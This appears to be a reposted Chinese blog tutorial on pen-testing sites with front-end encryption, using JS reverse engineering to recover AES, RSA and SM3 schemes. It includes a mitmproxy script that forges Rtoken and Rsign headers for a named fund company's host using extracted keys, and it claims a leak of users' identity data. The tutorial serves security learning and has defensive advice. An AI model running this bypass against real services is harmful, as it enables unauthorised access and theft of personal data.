JS逆向学习 加密站点的渗透测试!

加密站点的渗透测试

在银行、保险、证券、能源、通信等行业的IT系统中,使用数据加密传输、API接口保护、关键参数签名防篡改等保护手段都是比较常见。开发人员应用这些手段和技术,能大大增加攻击者的攻击成本。但这些手段却不能百之百防止“黑客”入侵,只能放缓攻击者的“破解”进程。本文将通过将一些实战案例,结合较为常见的前端加密场景与大家分享“道德黑客”是如何进行渗透测试工作。通过本次分享,渗透测试人员可以进一步学习各类密码算法、JS逆向等非传统网安领域的知识和技能;开发人员可以通过了解“不怀好意者”的“破解”技术细节,从而优化接口鉴权、WAAP、前后端数据交互等环节,提升系统的安全性。

1、背景介绍

某xxx行智慧商家管理平台登录首页界面

下图是在【手机验证登录】处通过 burpsuite 抓到的数据包,此时如果随意修改请求数据包,发送到服务端后会因无法解密或验签不通过而丢弃此次请求。针对手机号填写处,我们无法正常进行诸如SQL注入、XSS、逻辑漏洞等测试。所以解密数据包,是针对此类站点进行渗透测试的前置条件。

2、前置知识点

2.1、在浏览器中调试

使用快捷键 F12(Mac:Cmd+Opt+I)打开开发者工具

更多参考信息:https://zh.javascript.info/debugging-chrome

2.2、JS逆向

全网或B站搜索:python爬虫JS逆向

爬虫工程师需要对抗反爬和风控体系,需要对前端的js进行逆向。跟渗透测试中的加密解密所需的js分析知识栈相通,看几节python爬虫JS逆向即能快速浅浅的入门js逆向 推荐视频:B站【治廷君】

2.3、常见的加密算法

1、哈希/散列 算法 MD5、SHA、HMAC、SM3 2、对称加密算法 AES、DES、SM4、ChaCha20、3DES、RC5、RC6 3、非对称加密算法 RSA、SM2、 ECC(椭圆曲线加密算法) 可以使用chatGPT 查找上述算法如何用python或Java代码实现

3、案例
3.1 【xx贷】登录处JS逆向分析

登录xx贷网站时,username和password内容被加密,这一小节的目标是,分析出加密用户名和密码的相关算法,如下图所示。

3.1.1 XHR 断点

在Burpsuite 发现登录请求的url:https://passport.xxxx.com/xx/xx/xx/securityWeb挑选特征明显的字段作为关键词,【 pwdLoginService 】,在浏览器开发者中添加XHR断点

点击登录后,浏览器发起XHR请求,将在设置好的xhr断点处断下。

3.1.2 在【调用堆栈】中寻找加密临界点

checkImgValidataCode 函数对应的1682行位置,目标url,可在此处下断点,取消xhr断点,观察一下附近的数据变化。发现执行到此处时,password已经加密完毕,可以判断加密在调用该函数前的某处。

调用堆栈,send() 为发起函数,在调用堆栈中寻找密文与明文的区间,加密算法必定在此区间内。在调用堆栈挨个下断点、取消断点,不断尝试登录,寻找临界点。

缩小范围到了这个 1 区间

找到了加密处:

password: e.$encrypt.encrypt(e.md5(e.Password)), userName: e.$encrypt.encrypt(e.UserName)

3.1.3、 分析加密算法

找到了加密函数

password: e.$encrypt.encrypt(e.md5(e.Password)), userName: e.$encrypt.encrypt(e.UserName)

很明显,密码的加密逻辑是,先对密码明文进行md5 运算,再调用e.$encrypt.encrypt(),用户名则是直接调用e.$encrypt.encrypt()加密。在此处下断点,【单步】跟进:e.$encrypt.encrypt()

很明显就是 RSA 加密算法,下一步就是寻找私(公)钥,如下图所示。

这个AES 还经过了改造,增加了一个 u() 函数,实际上这个u函数是一个变种的base64变换

使用 chatGPT 和python还原 u() 函数,在chatGPT 给出的答案基础上进行手工修复。

3.1.4、 编写加密脚本

3.2、【某智慧商家管理平台】解密

本小节的目标是,解密请求包和响应包中的加密信息,修改请求体 body= 中的字段,重新加密后再发送

3.2.1、网络 XHR

继续打开浏览器开发者调试工具,选择网络 -> Fetch/XHR,返回网页点击登录,看到 117101.app 的请求

3.2.2、源代码搜索关键词

在有一定经验后,无需在一步步看堆栈区查找【临界点】,可直接在 源代码 所有文件搜索关键词,如:encrypt、decrypt、digest等等,具体情况具体的分析

3.2.3、在可疑处下断点

登录时,触发断点,单步全走一遍

调用堆栈,send() 为发起函数,在调用堆栈中寻找密文与明文的区间,加密算法必定在此区间内。在调用堆栈挨个下断点、取消断点,不断尝试登录,寻找临界点。

3.2.4、分析加密流程

登录时,触发断点,单步全走一遍

function e(t) { w()(this, e); var n = v.a.MD5(t.apiCode + t.head).toString(); this.tempIv = v.a.enc.Utf8.parse(n.substring(0, 16)), this.tempKey = v.a.enc.Utf8.parse(n.substring(16)) } return k()(e, [{ key: "encrypt", value: function(e) { return e && "{}" != e ? v.a.AES.encrypt(e, this.tempKey, { iv: this.tempIv, mode: v.a.mode.CBC, padding: v.a.pad.Pkcs7 }).toString() : "" } }, { key: "decrypt", value: function(e) { return v.a.AES.decrypt(e, this.tempKey, { iv: this.tempIv, mode: v.a.mode.CBC, padding: v.a.pad.Pkcs7 }).toString(v.a.enc.Utf8) } }]), e }()

不难看出,这里是AES加密,使用的AES CBC加密模式 Padpkcs7填充模式,密码和向量的生成方式是:拼接 apiCode 和 head ,对拼接结果做md5 计算,取前 16位作为iv(向量),后16位为key(密码), 同时,解密也是共用这一套iv、key

那么apiCode 和 head 从哪里来呢?

3.2.4、分析加密流程

那么apiCode 和 head 从哪里来,下面两张图:

完整前端加密流程图:

3.2.5、burpsuite插件,Burpy

3.2.5、Burpy 脚本编写介绍

需要用python写一个叫 Burpy 的类,在实现几个方法,如:encrypt、decrypt、processor 等,新增的方法会注册到 burpsuite 插件burpy的事件模块中。代码示例:

3.2.5、编写代码,部分代码展示

解密部分,python 实现AES

BLOCK_SIZE = 16 # Bytes pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \ chr(BLOCK_SIZE - len(s) % BLOCK_SIZE) # PKCS7 unpad = lambda s: s[:-ord(s[len(s) - 1:])] # PKSC7 def AES_Encrypt(data, key, iv): data = pad(data) # 字符串补位 cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, iv.encode('utf8')) encryptedbytes = cipher.encrypt(data.encode('utf8')) # 加密后得到的是bytes类型的数据,使用Base64进行编码,返回byte字符串 encodestrs = base64.b64encode(encryptedbytes) # 对byte字符串按utf-8进行解码,并返回 return encodestrs.decode('utf8') def AES_Decrypt(data, key, iv): data = data.encode('utf8') encodebytes = base64.decodebytes(data) # 将加密数据转换位bytes类型数据 cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, iv.encode('utf8')) text_decrypted = cipher.decrypt(encodebytes) # 去补位 text_decrypted = unpad(text_decrypted) # unpad text_decrypted = text_decrypted.decode('utf8') return text_decrypted
3.2.6、加解密效果

请求体加解密效果


响应体加解密效果


3.3、突破某基金公司API接口保护案例

不仅是登录接口其他接口也存在数据校验,重发数据包后端服务器拒绝接受。


分析前端逻辑 经过分析,在HTTP请求的Header中发现两个重要参数:Rtoken和Rsign Rtoken,是固定字符串拼接一个长度为10的随机字符串,再对做AES加密后的结果。AES的密钥和偏移量均可以在前端JS代码中找到。Rsign: 是对HTTP POST请求的请求体数据包计算sm3摘要信息。


分析出加密和验签算法后,编写绕过脚本 使用python的mitmproxy模板,对中间人拦截的HTTP数据包进行处理

from mitmproxy import http import random import time from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import urllib.parse from gmssl import sm3,func RT_HOST = "wx.rtfund.com" def request(flow: http.HTTPFlow) -> None: headers = flow.request.headers body = flow.request.content host = flow.request.host if flow.request.method == "POST" and host == RT_HOST: headers['Rtoken'] = get_r_token() str_body = body.decode("utf-8") headers['Rsign'] = get_rt_sign(str_body) print("url:",flow.request.url) print("Rtoken:",headers['Rtoken']) print("Rsign:",headers['Rsign']) print("body:",str_body) print("=" * 50) def response(flow: http.HTTPFlow) -> None: host = flow.request.host if host == RT_HOST: print("Response intercepted:") print(f"URL: {flow.request.url}") print(f"Status Code: {flow.response.status_code}") print("Headers:") for key, value in flow.response.headers.items(): print(f" {key}: {value}") print("Content:") print(flow.response.content.decode("utf-8", "replace")) print("=" * 50) def AES_CBC_PKCS7(text,key = 'B49A86FA425D439d', iv = 'B49A86FA425D439d'): """ text : 需要加密的明文 key : 密钥 iv : 向量(偏移量) """ # CBC 模式 cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode()) # pkcs7 填充 padded_text = pad(text.encode(), AES.block_size, style='pkcs7') ciphertext = cipher.encrypt(padded_text) return base64.b64encode(ciphertext).decode() # 随机字符串生成 generate_random = lambda n: "".join(random.choice("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ") for _ in range(n)) def get_r_token(): try: e = "rtwxapp" + "|" + str(int(time.time()) * 1000) + "|" + generate_random(10) # print(e) encryData = AES_CBC_PKCS7(e) return urllib.parse.quote(encryData) # encodeURIComponent except Exception as e: print(e) def get_rt_sign(n): # 进行两次URL解码 decoded_str = urllib.parse.unquote(urllib.parse.unquote(n)) #print(decoded_str) # 对解码后的字符串按照 & 分割,排序后再连接起来 sorted_str = "&".join(sorted(decoded_str.split("&"))) + "&key=rtmsite" #print(sorted_str) # 计算 sm3 摘要 data_byte = sorted_str.encode('utf-8') hash_data = sm3.sm3_hash(func.bytes_to_list(data_byte)) return hash_data if __name__ == "__main__": print(get_r_token()) print(get_rt_sign("123"))

发现该站点全部用户四要素信息泄露


4、总结

一、攻击方视角 熟悉常见加密和摘要算法,能使用熟悉的编程语言编写加解密代码 入门JS逆向,掌握常用前端调试方法 不放过JS文件中留下的蛛丝马迹,比如:各种key、接口信息等

二、开发者视角 对API接口进行严格鉴权,使用多种算法进行验签 前后端使用多套算法混合加密或签名,定期更换 前端对关键部位代码进行混淆加密,必要时关键代码放在jsVMP中执行 加强接口调用监控

某银行使用的前端加密解密流程图,可供参考,前端加密流程图:

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1205889.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2026低端运维有更好的出路吗?比起死磕运维技术或许转行才是更优解!

运维工程师转行网络安全是职业发展路径中比较常见的一种转行,这种转行通常基于以下几个原因和优势: 一、原因和优势 1.技能相关性:运维工程师通常负责维护和管理企业的IT基础设施,包括服务器、网络和存储系统。这些工作内容与网…

Java毕设选题推荐:基于springboot的高校二手市场交易系统基于Spring Boot+MySQL的校园二手交易系统【附源码、mysql、文档、调试+代码讲解+全bao等】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

计算机Java毕设实战-基于Spring Boot+vue+MySQL的校园二手交易系统基于springboot的高校二手市场交易系统【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

Java计算机毕设之基于springboot+vue的高校二手市场交易系统基于SpringBoot的校园二手物品交易平台系统(完整前后端代码+说明文档+LW,调试定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

Java毕设项目:基于springboot的高校二手市场交易系统(源码+文档,讲解、调试运行,定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

Java毕设项目:基于Web的商品预购平台的设计与实现(源码+文档,讲解、调试运行,定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

【课程设计/毕业设计】基于SpringBoot的校园二手物品交易平台系统基于springboot的高校二手市场交易系统【附源码、数据库、万字文档】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

【毕业设计】基于springboot的高校二手市场交易系统(源码+文档+远程调试,全bao定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

【毕业设计】基于Web的商品预购平台的设计与实现(源码+文档+远程调试,全bao定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

公司发的京东e卡回收操作注意事项一览

逢年过节或公司福利发放时,京东e卡是不少人会收到的馈赠。若你手中的京东e卡暂时用不上,闲置一旁难免可惜,回收便成了合理的处理方式。不过,回收过程中有不少细节需要留意,才能让整个过程顺利完成。下面就从回收的…

JSR-250JavaEE规范

JCP(Java Community Process):Java 社区进程,是制定所有 Java 官方规范的权威组织(由 Oracle 主导,各大厂商 / 社区参与),简单说就是 “Java 规范的立法机构”; JSR(Java Specification Request):Java 规范…

现阶段1000瑞祥卡最高可回收多少(实测)

手里有闲置的1000面值瑞祥卡,却不知道该如何处理,这是很多人都会遇到的问题。留着不用会慢慢浪费,拿去回收又担心价格太低,得不到合理的回报。到底现阶段1000面值瑞祥卡回收能拿到多少?怎样做才能让回收价格最大化…

2026年1月西安激光切管加工厂家推荐:硬核设备赋能高效生产,双强企业优选指南

在西安激光加工行业,激光切管凭借高精度、高效率的优势,成为灯杆制造、护栏加工、建筑钢结构等领域的核心支撑。2026年初,市场对激光切管的加工精度、产能及个性化服务需求持续升级,选择兼具实力与口碑的厂家尤为关…

2026国内最新近红外光谱仪实力厂家top5推荐!上海等地近红外光谱仪公司权威榜单发布,技术创新与精准分析助力科研与工业发展

随着光谱分析技术在科研、工业、环保等领域的应用不断深化,近红外光谱仪作为高效、快速的分析工具,市场需求持续攀升。据中国仪器仪表行业协会最新数据显示,2025年国内近红外光谱仪市场规模同比增长22%,但进口品牌…

P8392 [BalticOI 2022] Uplifting Excursion (Day1)

牛大了这道题。 考虑差不多得了思维,你现在要选出最多的数使得和为 \(l\),我刚开始想构造一个基本状态,然后往里面放 \(-i, i\) 啥的,后面发现完全没有道理。差不多得了是指,我们选出若干个数,和 \(s\) 与 \(l\)…

2026年全国食品添加剂厂家权威推荐榜 天然合规赋能全方面解析与参考指南

食品添加剂作为食品工业的核心支撑,正逐步摆脱传统认知误区,生物发酵、酶工程等绿色技术的应用,推动天然提取物、功能性配料成为增长主力。当前国内行业呈现“头部集中、细分突围”格局,本土企业凭借技术迭代、成本…

2025年最值得信赖的AI超级员工企业盘点,AI智能员工/AI员工/AI企业员工/AI超级员工厂家找哪家

行业背景分析 随着人工智能技术的快速发展,AI超级员工正在重塑企业运营模式。据最新行业数据显示,2024年中国AI营销市场规模已突破千亿元,年复合增长率保持在35%以上。在这一蓬勃发展的赛道中,一批技术实力雄厚、服…

2026西安激光切割加工行业权威指南:设备领先、规模较大的两家厂商推荐

在西安制造业快速升级的背景下,激光切割技术已成为钢材加工领域的核心工艺。随着建筑、交通、机械等行业对高精度管材加工需求激增,如何选择一家设备先进、技术过硬、规模可靠的激光切割加工服务商,成为众多企业关注…

【毕业设计】基于springboot的毕业设计双选系统(源码+文档+远程调试,全bao定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

如何将本地的Html文件上传到云服务器。

1.打开百度浏览器,搜索腾讯云,购买一个云服务器,购买成功后,会显示2.首先在网页的服务器右上角三个点选择-重装系统(无需备份直接重装)xshell里面新建一个服务器(用户名:ubuntu(不能变必须是小写),名称:(…